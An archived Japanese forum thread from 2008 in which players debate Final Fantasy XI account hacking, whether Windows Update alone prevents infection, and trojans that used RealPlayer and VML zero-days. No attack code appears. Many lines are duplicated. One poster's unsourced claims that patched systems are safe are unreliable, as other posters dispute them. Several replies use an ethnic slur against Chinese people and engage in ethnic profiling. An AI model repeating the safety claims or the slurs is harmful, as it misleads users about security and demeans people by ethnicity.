オンラインスキャンで見つかったウィルス名を教えてもらえますか？
オンラインスキャンで見つかったウィルス名を教えてもらえますか？
639 ：既にその名前は使われています：2008/02/07(木) 14:08:38.84 ID:EHRrm0hG
>>630
その先輩だか後輩もおまいさんもよくわかってないみたいだから釣りかもしれないが、最後のマジレスしてやろう。
ウィンドウズはいくらアップデートしようが、セキュリティホールはあると断言して良いんだな。
常に最新の状態であっても、セキュリティホールは存在するわけ。
それを悪い人たちが見つけて利用してんの。
おｋ？
その先輩だか後輩もおまいさんもよくわかってないみたいだから釣りかもしれないが、最後のマジレスしてやろう。
ウィンドウズはいくらアップデートしようが、セキュリティホールはあると断言して良いんだな。
常に最新の状態であっても、セキュリティホールは存在するわけ。
それを悪い人たちが見つけて利用してんの。
おｋ？
640 ：既にその名前は使われています：2008/02/07(木) 14:08:49.76 ID:KLhxpyBi
ちと古い記事だが、こんな時代にアカハックされるのが悪いなんて言ってる場合じゃないよ。
俺もいつ被害者になるか分からんｗ
正規サイトを使った攻撃、初めて悪用目的のサイトを上回る
http://www.itmedia.co.jp/enterprise/articles/0801/24/news037.html
俺もいつ被害者になるか分からんｗ
正規サイトを使った攻撃、初めて悪用目的のサイトを上回る
http://www.itmedia.co.jp/enterprise/articles/0801/24/news037.html
641 ：既にその名前は使われています：2008/02/07(木) 14:15:54.68 ID:yH3cChtH
>>639
少し整理してみたいのですが、今まで私が話をしたのはFF11のアカウントハッキングの話です。
少し整理してみたいのですが、今まで私が話をしたのはFF11のアカウントハッキングの話です。
642 ：既にその名前は使われています：2008/02/07(木) 14:16:42.02 ID:7QjAACAq
>>626
詳しいことはちょっと分からないけど恐らく別々のOSでインストール
しておかないとウィンドウズアップデートすることが出来なくなるような気はする
だが単に推測でしかないｗ
いっそFF11用はXPで通常用のOSにはヴィスタ入るってのはどうだろう？ｗ
詳しいことはちょっと分からないけど恐らく別々のOSでインストール
しておかないとウィンドウズアップデートすることが出来なくなるような気はする
だが単に推測でしかないｗ
いっそFF11用はXPで通常用のOSにはヴィスタ入るってのはどうだろう？ｗ
643 ：既にその名前は使われています：2008/02/07(木) 14:17:55.22 ID:EHRrm0hG
644 ：既にその名前は使われています：2008/02/07(木) 14:20:44.70 ID:yH3cChtH
>>639
FF11のアカウントハッキングに関する今までの報告では、ウィルスが登場した時点で最新のWindowsに感染する物は1件も無いとのことです。
FF11のアカウントハッキングに関する今までの報告では、ウィルスが登場した時点で最新のWindowsに感染する物は1件も無いとのことです。
645 ：既にその名前は使われています：2008/02/07(木) 14:22:06.10 ID:EHRrm0hG
>>642
俺あんまり詳しくないけど、Linuxとウィンドウズのマルチブートとかはどうなの？
Linuxでネット見てウィンでFFするとか。
HDD二つ使うのだと、物理的にコネクター外さないと危険な気がする。
マルチブートでもそんな気はするがｗ
俺あんまり詳しくないけど、Linuxとウィンドウズのマルチブートとかはどうなの？
Linuxでネット見てウィンでFFするとか。
HDD二つ使うのだと、物理的にコネクター外さないと危険な気がする。
マルチブートでもそんな気はするがｗ
646 ：既にその名前は使われています：2008/02/07(木) 14:23:42.35 ID:EHRrm0hG
647 ：既にその名前は使われています：2008/02/07(木) 14:24:44.66 ID:peDiVdNh
ttp://sky.geocities.jp/vs_ro_hack/
ttp://lineage.nyx.bne.jp/misc/security/
ttp://www.eonet.ne.jp/~lunaticwaltz/notvirus_ffxi/index.html
>641
ここら辺を一通り読むとよいクポ
ttp://lineage.nyx.bne.jp/misc/security/
ttp://www.eonet.ne.jp/~lunaticwaltz/notvirus_ffxi/index.html
>641
ここら辺を一通り読むとよいクポ
648 ：既にその名前は使われています：2008/02/07(木) 14:26:52.81 ID:L2WDCRvP
>>644
それを証明するソースを提示してくれ。話はそれからだ。
それを証明するソースを提示してくれ。話はそれからだ。
649 ：既にその名前は使われています：2008/02/07(木) 14:27:33.97 ID:aRn8PrY7
ああ、また業者の「被害者が悪いキャンペーン」が始まったのか
警察への被害届けが結構効いてるのかな？
警察への被害届けが結構効いてるのかな？
650 ：既にその名前は使われています：2008/02/07(木) 14:28:43.86 ID:7QjAACAq
>>645
PCショップとかに行くと5インチベイ搭載用で
HDD入れ替え出来る奴が売ってるよね？
あれを使ってHDDごと環境を入れ替えようって事なのよ
あの装置の安全性についてはうちの会社の検査機用PCの
データー用HDDはそれ使って4年は経ってるから不良品か
なにか掴まされない限りは平気よ
PCショップとかに行くと5インチベイ搭載用で
HDD入れ替え出来る奴が売ってるよね？
あれを使ってHDDごと環境を入れ替えようって事なのよ
あの装置の安全性についてはうちの会社の検査機用PCの
データー用HDDはそれ使って4年は経ってるから不良品か
なにか掴まされない限りは平気よ
651 ：既にその名前は使われています：2008/02/07(木) 14:31:12.74 ID:EHRrm0hG
>>649
考えてみたら日本語不自由そうだしそうかモナｗ
考えてみたら日本語不自由そうだしそうかモナｗ
652 ：既にその名前は使われています：2008/02/07(木) 14:31:16.85 ID:hWzp9UYI
自分の無知に気付いて謙虚に学ぶ姿勢を見せたほうが
有用な情報を得やすいと思うんだがなあ。
いや、謝れとかって意味じゃないよ？
ウィルスってもんは日々進化し、名を変え形を変え襲い掛かるもの。
上司の言葉を鵜呑みにして、FF11に関しては安心だなんて思わないように。
ウィンドウズアップデートだけで100％安全なんてこと過去にも未来にもない。
有用な情報を得やすいと思うんだがなあ。
いや、謝れとかって意味じゃないよ？
ウィルスってもんは日々進化し、名を変え形を変え襲い掛かるもの。
上司の言葉を鵜呑みにして、FF11に関しては安心だなんて思わないように。
ウィンドウズアップデートだけで100％安全なんてこと過去にも未来にもない。
653 ：既にその名前は使われています：2008/02/07(木) 14:34:12.79 ID:EHRrm0hG
654 ：既にその名前は使われています：2008/02/07(木) 14:36:12.88 ID:yH3cChtH
>>648
前にありましたリンクから飛んでウィルスに感染したとの報告についてですが、
このウィルス名を教えてくれとのことです。
そのウィルス名を調べると未知な検体なのか、それとも既存のウィルスかは判るとのことです。
前にありましたリンクから飛んでウィルスに感染したとの報告についてですが、
このウィルス名を教えてくれとのことです。
そのウィルス名を調べると未知な検体なのか、それとも既存のウィルスかは判るとのことです。
655 ：既にその名前は使われています：2008/02/07(木) 14:38:52.37 ID:RYbHopeO
>>644
垢ハック被害者とか叫いてる輩は
まず間違いなく不正ユーザーだ（これは間違いない）
んでスクエニも最小の救済しかしない
本当は救済以前に垢BANしたいんだな
だがそれと警察に報告することは別だ
新たな被害者（苦笑）を出さないためにも犯罪被害者が警察に届け出ることは国民の義務
垢ハック被害者とか叫いてる輩は
まず間違いなく不正ユーザーだ（これは間違いない）
んでスクエニも最小の救済しかしない
本当は救済以前に垢BANしたいんだな
だがそれと警察に報告することは別だ
新たな被害者（苦笑）を出さないためにも犯罪被害者が警察に届け出ることは国民の義務
656 ：既にその名前は使われています：2008/02/07(木) 14:39:29.41 ID:5NV/rm4F
657 ：既にその名前は使われています：2008/02/07(木) 14:40:17.30 ID:L2WDCRvP
だいたい、WinUpdateだけで安全だったら、誰がアンチウィルスいれたり
ファイアーウォール構築したりするんだよ。バカも休み休み言えっての。
ファイアーウォール構築したりするんだよ。バカも休み休み言えっての。
658 ：既にその名前は使われています：2008/02/07(木) 14:44:48.11 ID:L2WDCRvP
>>654
オレはお前さんが>>644で書いたことに対して、そのソースの提示を求めているんだぞ。
訳のわからないことを書いてる場合か。
いいか？もう一度言うぞ。
お前さんが書いた「FF11のアカウントハッキングに関する今までの報告では、ウィルスが
登場した時点で最新のWindowsに感染する物は1件も無い」、この件に関するソースを
提示してくれ。提示できないようなら、ソースもなしにでたらめを書いたことを認めて
消えろ。
オレはお前さんが>>644で書いたことに対して、そのソースの提示を求めているんだぞ。
訳のわからないことを書いてる場合か。
いいか？もう一度言うぞ。
お前さんが書いた「FF11のアカウントハッキングに関する今までの報告では、ウィルスが
登場した時点で最新のWindowsに感染する物は1件も無い」、この件に関するソースを
提示してくれ。提示できないようなら、ソースもなしにでたらめを書いたことを認めて
消えろ。
659 ：既にその名前は使われています：2008/02/07(木) 14:46:58.84 ID:6MnNYd1V
>>657
ですよね～
ですよね～
660 ：既にその名前は使われています：2008/02/07(木) 14:50:30.39 ID:5NV/rm4F
うちのWIN2003Serverだけどウィンアップデートのみでウイルスソフト無し。
2年ほどリカバリー無し
不安になって今かスペルスキーかけたらウイルス０だった。ウィンもなかなかやルナ
2年ほどリカバリー無し
不安になって今かスペルスキーかけたらウイルス０だった。ウィンもなかなかやルナ
661 ：既にその名前は使われています：2008/02/07(木) 14:51:02.54 ID:5NV/rm4F
Serverのウイルスソフトは高くて買えねぇ・・・・
662 ：既にその名前は使われています：2008/02/07(木) 14:57:54.90 ID:yH3cChtH
>>658
便利なFF11ウィルス一覧があれば良いのですが無いようなので調べることは出来ないです。
ウィルス名がわかるものはセキュリティ対策会社などのWebに情報が載っているので1件1件調べることが出来ます。
そのウィルスが自動でインストールされてしまうタイプ、主に危険度高などとなるような物は今までにFF11では例がないとのことです。
よって現在まで出回っているFF11関連のウィルスは公式ページの告知で通りにしていれば大丈夫なはずとのことです。
昨日今日に発生した新種となればその限りではないとのことですが、今現在までその報告はありません。
便利なFF11ウィルス一覧があれば良いのですが無いようなので調べることは出来ないです。
ウィルス名がわかるものはセキュリティ対策会社などのWebに情報が載っているので1件1件調べることが出来ます。
そのウィルスが自動でインストールされてしまうタイプ、主に危険度高などとなるような物は今までにFF11では例がないとのことです。
よって現在まで出回っているFF11関連のウィルスは公式ページの告知で通りにしていれば大丈夫なはずとのことです。
昨日今日に発生した新種となればその限りではないとのことですが、今現在までその報告はありません。
663 ：既にその名前は使われています：2008/02/07(木) 15:02:17.83 ID:iO2rduyV
ソースは？って聞かれて得意げに「上司。ヴァナでは後輩ｗ」とかワロス
しかも上司に自分が正しいこと証明させようと必死だなんて正に非女
しかも上司に自分が正しいこと証明させようと必死だなんて正に非女
664 ：既にその名前は使われています：2008/02/07(木) 15:04:43.61 ID:L2WDCRvP
>>662
これでまともな返事がこなかったら今後はスルー。
> 便利なFF11ウィルス一覧があれば良いのですが無いようなので調べることは出来ないです。
じゃあ、お前さんはどうやって「FF11のアカウントハッキングに関する今までの報告では、ウィルスが
登場した時点で最新のWindowsに感染する物は1件も無い」ことがわかったんだ？
> そのウィルスが自動でインストールされてしまうタイプ、主に危険度高などとなるような物は
>今までにFF11では例がないとのことです。
一覧もないのによくわかったね。それがわかったソースをよろしく。ソースがだせないなら、
お前さんが確認したウィルスの名前をよろしく。
> よって現在まで出回っているFF11関連のウィルスは公式ページの告知で通りにしていれば大丈夫なはず
ソースが一切ない内容を元に「よって」って言われても、それはただの妄想。
これでまともな返事がこなかったら今後はスルー。
> 便利なFF11ウィルス一覧があれば良いのですが無いようなので調べることは出来ないです。
じゃあ、お前さんはどうやって「FF11のアカウントハッキングに関する今までの報告では、ウィルスが
登場した時点で最新のWindowsに感染する物は1件も無い」ことがわかったんだ？
> そのウィルスが自動でインストールされてしまうタイプ、主に危険度高などとなるような物は
>今までにFF11では例がないとのことです。
一覧もないのによくわかったね。それがわかったソースをよろしく。ソースがだせないなら、
お前さんが確認したウィルスの名前をよろしく。
> よって現在まで出回っているFF11関連のウィルスは公式ページの告知で通りにしていれば大丈夫なはず
ソースが一切ない内容を元に「よって」って言われても、それはただの妄想。
665 ：既にその名前は使われています：2008/02/07(木) 15:05:18.11 ID:RKCQYkmv
666 ：既にその名前は使われています：2008/02/07(木) 15:06:52.13 ID:BLU9eKHg
ソースきかれて上司ですて…何の信憑性もないじゃん。読んで損した。
667 ：既にその名前は使われています：2008/02/07(木) 15:11:09.52 ID:yH3cChtH
>>665
Web上のリンクをクリックしただけで感染するタイプは、現在の所大丈夫ということです。
自身でインストールしたプログラムにウィルスが混入されていた場合はセキュリティ対策ソフトが導入され、かつ対応していない場合は感染することになります。
現在公式サイト上で公開されていますプログラム、もしくは今までに公開されていたプログラム、FF11インストールディスクに含まれていますプログラムにおいてウィルスが混入されていた事実は無いはずです。
Web上のリンクをクリックしただけで感染するタイプは、現在の所大丈夫ということです。
自身でインストールしたプログラムにウィルスが混入されていた場合はセキュリティ対策ソフトが導入され、かつ対応していない場合は感染することになります。
現在公式サイト上で公開されていますプログラム、もしくは今までに公開されていたプログラム、FF11インストールディスクに含まれていますプログラムにおいてウィルスが混入されていた事実は無いはずです。
668 ：既にその名前は使われています：2008/02/07(木) 15:12:05.19 ID:vfRk3y9e
新手の嫌がらせか？
669 ：既にその名前は使われています：2008/02/07(木) 15:15:17.24 ID:L2WDCRvP
旧正月でシナチクがお休みなので暇になってしまったRMT業者が、
丁寧に見せかけた日本語で暇つぶしにきてる、って認識でいいかな？
丁寧に見せかけた日本語で暇つぶしにきてる、って認識でいいかな？
670 ：既にその名前は使われています：2008/02/07(木) 15:15:38.88 ID:EHRrm0hG
671 ：既にその名前は使われています：2008/02/07(木) 15:17:04.40 ID:6eN9udMz
＞667
Web上のリンクをクリックしただけで感染するタイプは、現在の所大丈夫ということです。
何が大丈夫なんだ？
Web上のリンクをクリックしただけで感染するタイプは、現在の所大丈夫ということです。
何が大丈夫なんだ？
672 ：既にその名前は使われています：2008/02/07(木) 15:17:07.76 ID:lx6m76Wk
中途半端な知識でここまで自身ありげに語れるってある意味才能じゃない？ｗ
673 ：既にその名前は使われています：2008/02/07(木) 15:19:55.06 ID:pngWxcrx
フルパッチ状態で検体を収集している俺でも1回踏んじまったことがある。
VML(VGX.DLL)を使う奴で、まだパッチが出ていなくていわゆるゼロデイになり
Microsoft(MSRC)含め各社に情報と検体を提供した。
物としてはFFXIの、というよりFFXI・リネージュ・RO兼用トロイで
当時の分類名ではMaran系になった(Maranは一般的にLSP型という
常駐手法を指すので最近はこの名前は使われない)。
現時点でもRealPlayerの穴が開いたままなので
これ使われるとフルパッチでもどうしようもないし、既に使われている。
VML(VGX.DLL)を使う奴で、まだパッチが出ていなくていわゆるゼロデイになり
Microsoft(MSRC)含め各社に情報と検体を提供した。
物としてはFFXIの、というよりFFXI・リネージュ・RO兼用トロイで
当時の分類名ではMaran系になった(Maranは一般的にLSP型という
常駐手法を指すので最近はこの名前は使われない)。
現時点でもRealPlayerの穴が開いたままなので
これ使われるとフルパッチでもどうしようもないし、既に使われている。
674 ：既にその名前は使われています：2008/02/07(木) 15:21:05.16 ID:VbGMfHcn
上司にききなよ、ソースは？って。
つか上司に代わりなよ、あんた無知なんだから。
つか上司に代わりなよ、あんた無知なんだから。
675 ：既にその名前は使われています：2008/02/07(木) 15:26:59.65 ID:pngWxcrx
そうそう、AdobeReader8.1.2とQuickTime7.4.1+iTunes7.6がリリース。
セキュリティフィックスも含むので該当ソフトを入れている人は更新しましょう。
セキュリティフィックスも含むので該当ソフトを入れている人は更新しましょう。
676 ：既にその名前は使われています：2008/02/07(木) 15:28:16.44 ID:L2WDCRvP
結局、大丈夫だよ、安心だよってイメージを植え付けてリンクを踏みやすい
状態にしたかっただけなのかな。
状態にしたかっただけなのかな。
677 ：既にその名前は使われています：2008/02/07(木) 15:34:04.05 ID:yH3cChtH
678 ：既にその名前は使われています：2008/02/07(木) 15:34:20.57 ID:5NV/rm4F
俺が思うに業者はこんなところまできて偽装工作しないと思うぞ。
ほとんどの書き込みは業者でもなんでもない普通の奴がおもしろはんぶんにかいてるだけ。
だいたい、こんなスレ見てなんだ安心なのかとクリックしまくるアフォはいないだろ
ほとんどの書き込みは業者でもなんでもない普通の奴がおもしろはんぶんにかいてるだけ。
だいたい、こんなスレ見てなんだ安心なのかとクリックしまくるアフォはいないだろ
679 ：既にその名前は使われています：2008/02/07(木) 15:40:15.80 ID:pngWxcrx
680 ：既にその名前は使われています：2008/02/07(木) 15:44:53.73 ID:yH3cChtH
681 ：既にその名前は使われています：2008/02/07(木) 15:48:37.91 ID:yH3cChtH
現在報告されている限りではrealPlayerの脆弱を狙ったFF11関連のウィルスはありません。
Firefoxの脆弱に関しては現在報告はありませんが、自身によりインストールされたプログラムはこの限りではございません。
以上です。
Firefoxの脆弱に関しては現在報告はありませんが、自身によりインストールされたプログラムはこの限りではございません。
以上です。
682 ：既にその名前は使われています：2008/02/07(木) 15:54:16.43 ID:yH3cChtH
>>676
現状FF11に関して目の前まで迫っている危険はないと言うことであり、だからといって安全と言えることではありません。
今までに報告は無いといった意味となります。
これから出てくるウィルスが悪質になれば、最新の状態であってもリンクをクリックした時点で感染することは十二分にあり得ます。
この未知なる危険を回避するためには信頼の置けるセキュリティ対策ソフトが必要となります。
現状FF11に関して目の前まで迫っている危険はないと言うことであり、だからといって安全と言えることではありません。
今までに報告は無いといった意味となります。
これから出てくるウィルスが悪質になれば、最新の状態であってもリンクをクリックした時点で感染することは十二分にあり得ます。
この未知なる危険を回避するためには信頼の置けるセキュリティ対策ソフトが必要となります。
683 ：既にその名前は使われています：2008/02/07(木) 15:55:15.30 ID:mvcKNU+5
一番の原因は「リンクシェルコミュニティ」って発表があったからな。
それに反応して社員が火消しに走ってるんだろう。
それに反応して社員が火消しに走ってるんだろう。
684 ：既にその名前は使われています：2008/02/07(木) 15:59:41.60 ID:2L+tATt5
さすがにこのレベルで社員の火消しとかありえなすw
685 ：既にその名前は使われています：2008/02/07(木) 16:02:31.87 ID:pngWxcrx
報告? 世界中の脆弱性情報やmalware情報が君のところにリアルタイムで集まるの?
そんな仕事に就いてるの? それにしては見識不足のようだけど?
CastleCopsなどでもいくつも出ているしにゅ缶のアカハックスレでも大量に報告されている。
年末あたりに大量に投下されたRealPlayerのexploitを使う中華ネトゲトロイは
今でも健在(FFXIだけじゃなくSecondLifeなど複合型)。
もしお前がセキュリティ関係の仕事に就いているなら、
お前のような奴がいるから中華ハッカーに舐められるんだよ。
そんな仕事に就いてるの? それにしては見識不足のようだけど?
CastleCopsなどでもいくつも出ているしにゅ缶のアカハックスレでも大量に報告されている。
年末あたりに大量に投下されたRealPlayerのexploitを使う中華ネトゲトロイは
今でも健在(FFXIだけじゃなくSecondLifeなど複合型)。
もしお前がセキュリティ関係の仕事に就いているなら、
お前のような奴がいるから中華ハッカーに舐められるんだよ。
686 ：既にその名前は使われています：2008/02/07(木) 16:08:00.98 ID:MOfKD/h3
とりあえず“ウィンドウズアップデートだけで感染は防げたというのは嘘”でFAっすな。
パソコン初心者が危機感のない自称上級者に
誤った知識を植え付けられただけだったか。
そして必死に弁明してるのは自称上級者。
まあ、2人ともいい勉強になったんじゃないかな。
ROMってる初心者の反面教師にもなっただろうし。
運が良ければ防御せずとも感染せず
運が悪ければ防御しようが感染する。
100パー安全なんてないけど、確率を下げるために出来ることはやるべし。
罠を罠と見抜けるかは慣れだから、自信ないなら無闇にURL踏まない。
そして垢ハック被害にあったらきちんと警察に被害届を出す。これ重要。
パソコン初心者が危機感のない自称上級者に
誤った知識を植え付けられただけだったか。
そして必死に弁明してるのは自称上級者。
まあ、2人ともいい勉強になったんじゃないかな。
ROMってる初心者の反面教師にもなっただろうし。
運が良ければ防御せずとも感染せず
運が悪ければ防御しようが感染する。
100パー安全なんてないけど、確率を下げるために出来ることはやるべし。
罠を罠と見抜けるかは慣れだから、自信ないなら無闇にURL踏まない。
そして垢ハック被害にあったらきちんと警察に被害届を出す。これ重要。
687 ：既にその名前は使われています：2008/02/07(木) 16:11:47.05 ID:5NV/rm4F
688 ：既にその名前は使われています：2008/02/07(木) 16:13:19.79 ID:3wU40DPi
なんか、今日は業者の書き込み多いなー。
そんなに一斉BANが響いたか？
そんなに一斉BANが響いたか？
689 ：既にその名前は使われています：2008/02/07(木) 16:15:57.78 ID:yH3cChtH
>>685
realPlayerの検証用コードを使うトロイ検体をお持ちですか？
realPlayerの検証用コードを使うトロイ検体をお持ちですか？
690 ：既にその名前は使われています：2008/02/07(木) 16:16:20.93 ID:qWBxD3XB
ID:yH3cChtH の言葉遣いが何か微妙。
「日本語よく分かります」な台湾や香港の人みたいな感じ。
「日本語よく分かります」な台湾や香港の人みたいな感じ。
691 ：既にその名前は使われています：2008/02/07(木) 16:17:25.54 ID:BeQBZXgq
sex.exeで感染したヤツの数は間違いなく０
692 ：既にその名前は使われています：2008/02/07(木) 16:27:53.36 ID:EHRrm0hG
ちょっとまておまいら>>667をよく見るんだ
> 現在公式サイト上で公開されていますプログラム、もしくは今までに公開されていたプログラム、FF11インストールディスクに含まれていますプログラムにおいてウィルスが混入されていた事実は無いはずです。
> 現在公式サイト上で公開されていますプログラム、もしくは今までに公開されていたプログラム、FF11インストールディスクに含まれていますプログラムにおいてウィルスが混入されていた事実は無いはずです。
> 現在公式サイト上で公開されていますプログラム、もしくは今までに公開されていたプログラム、FF11インストールディスクに含まれていますプログラムにおいてウィルスが混入されていた事実は無いはずです。
これ見てなんか変だと思わないか？ｗ
> 現在公式サイト上で公開されていますプログラム、もしくは今までに公開されていたプログラム、FF11インストールディスクに含まれていますプログラムにおいてウィルスが混入されていた事実は無いはずです。
> 現在公式サイト上で公開されていますプログラム、もしくは今までに公開されていたプログラム、FF11インストールディスクに含まれていますプログラムにおいてウィルスが混入されていた事実は無いはずです。
> 現在公式サイト上で公開されていますプログラム、もしくは今までに公開されていたプログラム、FF11インストールディスクに含まれていますプログラムにおいてウィルスが混入されていた事実は無いはずです。
これ見てなんか変だと思わないか？ｗ
693 ：既にその名前は使われています：2008/02/07(木) 16:28:51.67 ID:3wU40DPi
>>690
そのまま中国で｢私日本語話せます｣な人間だろー
ウイルスをウィルスに直してるから、翻訳ソフトで訳してから、日本語チェックしてるんだろ。
その国独自のスラングは、翻訳ソフトだとどうしても翻訳出来ないからなー
そのまま中国で｢私日本語話せます｣な人間だろー
ウイルスをウィルスに直してるから、翻訳ソフトで訳してから、日本語チェックしてるんだろ。
その国独自のスラングは、翻訳ソフトだとどうしても翻訳出来ないからなー
694 ：既にその名前は使われています：2008/02/07(木) 16:42:50.90 ID:qWBxD3XB
695 ：既にその名前は使われています：2008/02/07(木) 16:45:20.13 ID:Fu/7TS2c
公開ってなんすかｗ
696 ：既にその名前は使われています：2008/02/07(木) 16:49:50.36 ID:L2WDCRvP
日本で真言宗を広めた人、
697 ：既にその名前は使われています：2008/02/07(木) 16:56:37.77 ID:pngWxcrx
698 ：既にその名前は使われています：2008/02/07(木) 16:59:21.75 ID:3wU40DPi
あと、>>692から、
>されていますプログラム、
この部分からも中華臭が香ばしい。
日本語だと、ここは省略して使われない部分を、わざわざ書き出してる。
勿論、ネイティブ英語でもこういった表現は使われない。
つまり、英文をわざわざ翻訳ソフトに通して(プログラム、の表現で解る)修正加えてる、
英語と日本語を習っただけの人間の可能性が高い…
ここだから、これだけ言えるけど、
お花畑はこう言っても｢可能性ってだけで決め付けるな！｣って疑う事を拒否するからなあ…
>されていますプログラム、
この部分からも中華臭が香ばしい。
日本語だと、ここは省略して使われない部分を、わざわざ書き出してる。
勿論、ネイティブ英語でもこういった表現は使われない。
つまり、英文をわざわざ翻訳ソフトに通して(プログラム、の表現で解る)修正加えてる、
英語と日本語を習っただけの人間の可能性が高い…
ここだから、これだけ言えるけど、
お花畑はこう言っても｢可能性ってだけで決め付けるな！｣って疑う事を拒否するからなあ…
699 ：既にその名前は使われています：2008/02/07(木) 17:01:13.62 ID:uFTuR01d
ざっと読んでみたけど、「日本語が流暢な外国人」だな。
>>yH3cChtHは。
ですます調とか、文のつなぎが妙。
ツーラーがハック被害者って良く聞くけど、それのソースってどこにあるの？
>>yH3cChtHは。
ですます調とか、文のつなぎが妙。
ツーラーがハック被害者って良く聞くけど、それのソースってどこにあるの？
700 ：既にその名前は使われています：2008/02/07(木) 17:01:41.75 ID:RYbHopeO
701 ：既にその名前は使われています：2008/02/07(木) 17:14:54.91 ID:oDCFJi6W
702 ：既にその名前は使われています：2008/02/07(木) 17:19:52.84 ID:EHRrm0hG
うはｗ
703 ：既にその名前は使われています：2008/02/07(木) 17:20:22.29 ID:EHRrm0hG
やっぱり業者が荒らしてたのかｗ
704 ：既にその名前は使われています：2008/02/07(木) 17:20:36.18 ID:yH3cChtH
おいおい
すざけんなｗ
すざけんなｗ
705 ：既にその名前は使われています：2008/02/07(木) 17:23:02.79 ID:lx6m76Wk
IDはたまたま同じになる事が結構あるらしい
706 ：既にその名前は使われています：2008/02/07(木) 17:23:41.53 ID:yH3cChtH
苛められました；；
今日はもう退散します、、、
宮城からまた明日来ます。。。
今日はもう退散します、、、
宮城からまた明日来ます。。。
707 ：既にその名前は使われています：2008/02/07(木) 17:25:35.38 ID:uFTuR01d
>>700
>俺の認識では
>
>RMT購入者＝垢ハック被害者
>垢BAN＝RMT業者
>RMT業者＝RMT購入者
>
>あってるよな？
わはは、なんだこりゃ。
RMT業者＝RMT購入者＝垢ハック被害者？
>俺の認識では
>
>RMT購入者＝垢ハック被害者
>垢BAN＝RMT業者
>RMT業者＝RMT購入者
>
>あってるよな？
わはは、なんだこりゃ。
RMT業者＝RMT購入者＝垢ハック被害者？
708 ：既にその名前は使われています：2008/02/07(木) 17:36:17.14 ID:yH3cChtH
>>700
なんでわかった？ｗ
なんでわかった？ｗ
709 ：既にその名前は使われています：2008/02/07(木) 17:37:22.66 ID:qWBxD3XB
いいからさっさと退散しろｗ
710 ：既にその名前は使われています：2008/02/07(木) 17:39:38.76 ID:yH3cChtH
もう少し楽しませろよｗ
IDかわらねぇんだよ
IDかわらねぇんだよ
711 ：既にその名前は使われています：2008/02/07(木) 17:54:05.71 ID:yH3cChtH
知ってる？
実は無視されるのが一番辛いのですよ；；
実は無視されるのが一番辛いのですよ；；
712 ：既にその名前は使われています：2008/02/07(木) 18:32:31.20 ID:dhJBx5no
713 ：既にその名前は使われています：2008/02/07(木) 19:17:06.11 ID:dhJBx5no
714 ：既にその名前は使われています：2008/02/07(木) 20:32:43.20 ID:AE9GlSAW
えらい伸びてるなぁ…と思ったら暇人が漫才してたのかｗｗ
715 ：既にその名前は使われています：2008/02/07(木) 22:07:24.00 ID:yH3cChtH
age
716 ：既にその名前は使われています：2008/02/07(木) 23:57:04.61 ID:dhJBx5no
717 ：既にその名前は使われています：2008/02/08(金) 01:27:13.53 ID:i5AQslgz
ほ
718 ：既にその名前は使われています：2008/02/08(金) 02:23:13.47 ID:tHuKPAek
あげとくべさ
719 ：既にその名前は使われています：2008/02/08(金) 07:00:52.48 ID:hpQN/X/a
age
720 ：既にその名前は使われています：2008/02/08(金) 09:47:41.81 ID:W3KgEYIq
ほしゅ
721 ：既にその名前は使われています：2008/02/08(金) 10:15:08.98 ID:Xxv4cPY+
なにこの夕方6時を境に無くなる書き込み。
業者の皆さん、退社の時間ですねｗ
仕事してください＾＾；
業者の皆さん、退社の時間ですねｗ
仕事してください＾＾；
722 ：既にその名前は使われています：2008/02/08(金) 10:34:39.39 ID:ruN7mJal
Firefox更新来たよ。
Firefox 2 の最新版 (2.0.0.12) を公開
http://blogs.mozilla-japan.org/news/2008/02/08/09/
Mozilla は本日、製品の安定性および安全性を向上させる継続的なプロセスの一環として、
Firefox 2.0.0.12 を公開しました。すべてのユーザにこの最新版への更新を強く推奨します。
現在 Firefox 2 以降のバージョンをお使いの場合、48 時間以内に自動更新機能による通知が表示されます。
また、[ヘルプ] メニューから [ソフトウェアの更新を確認] を選択すれば、
すぐに更新を行うことができます。この更新の詳細は リリースノート をご参照ください。
Firefox 2 の最新版 (2.0.0.12) を公開
http://blogs.mozilla-japan.org/news/2008/02/08/09/
Mozilla は本日、製品の安定性および安全性を向上させる継続的なプロセスの一環として、
Firefox 2.0.0.12 を公開しました。すべてのユーザにこの最新版への更新を強く推奨します。
現在 Firefox 2 以降のバージョンをお使いの場合、48 時間以内に自動更新機能による通知が表示されます。
また、[ヘルプ] メニューから [ソフトウェアの更新を確認] を選択すれば、
すぐに更新を行うことができます。この更新の詳細は リリースノート をご参照ください。
723 ：既にその名前は使われています：2008/02/08(金) 10:58:13.18 ID:CdwS/Clz
やっと >>377 の下のが修正か
724 ：既にその名前は使われています：2008/02/08(金) 12:12:49.58 ID:6dI/dSQt
昼休み保守
うちもさっきアップデート終わったとこ＞Firefox
うちもさっきアップデート終わったとこ＞Firefox
725 ：既にその名前は使われています：2008/02/08(金) 12:40:05.05 ID:HVcKqd3S
昨日深夜倉庫に行ったら、突然
パスワードが変更されました。
とでて、そこから入れなくなったのですが、
これは被害にあったということでしょうか？
今、サポセンに電話しようか迷っています。
理由は友達から無料で譲ってもらったアカウントであるということ。
パスは何度も変えてあるので、誰かに知られているということはないと思います。
スキャンしましたが、怪しいウィルスがみつかりません。
わけがわからずにただパニくってます。
パスワードが変更されました。
とでて、そこから入れなくなったのですが、
これは被害にあったということでしょうか？
今、サポセンに電話しようか迷っています。
理由は友達から無料で譲ってもらったアカウントであるということ。
パスは何度も変えてあるので、誰かに知られているということはないと思います。
スキャンしましたが、怪しいウィルスがみつかりません。
わけがわからずにただパニくってます。
726 ：既にその名前は使われています：2008/02/08(金) 12:45:54.29 ID:Qm8ytGIZ
>>725
可能性
１・ハック被害
２・元の持ち主がパス紛失手続＞変更
３・規約違反（垢の譲渡）が発覚した為の処置
まず譲渡とか、そういうトラブルの元になることをするからややこしくなるんだよ
つか、本当に譲渡かどうかもわからんしな
お前さんが他人の垢を奪ったり、別れた恋人の垢を勝手に使ってるとかなのを
隠したまま相談してるかもしれん。サポセンに電話ためらう理由って、そのへんじゃないの？
可能性
１・ハック被害
２・元の持ち主がパス紛失手続＞変更
３・規約違反（垢の譲渡）が発覚した為の処置
まず譲渡とか、そういうトラブルの元になることをするからややこしくなるんだよ
つか、本当に譲渡かどうかもわからんしな
お前さんが他人の垢を奪ったり、別れた恋人の垢を勝手に使ってるとかなのを
隠したまま相談してるかもしれん。サポセンに電話ためらう理由って、そのへんじゃないの？
727 ：既にその名前は使われています：2008/02/08(金) 12:50:48.42 ID:e9qX687a
規約違反（垢の譲渡）が発覚した垢はどんどん
処分してるらしいな。
パスワードの葉書が本人に行くから、本人ならパスワードわかるんじゃね。
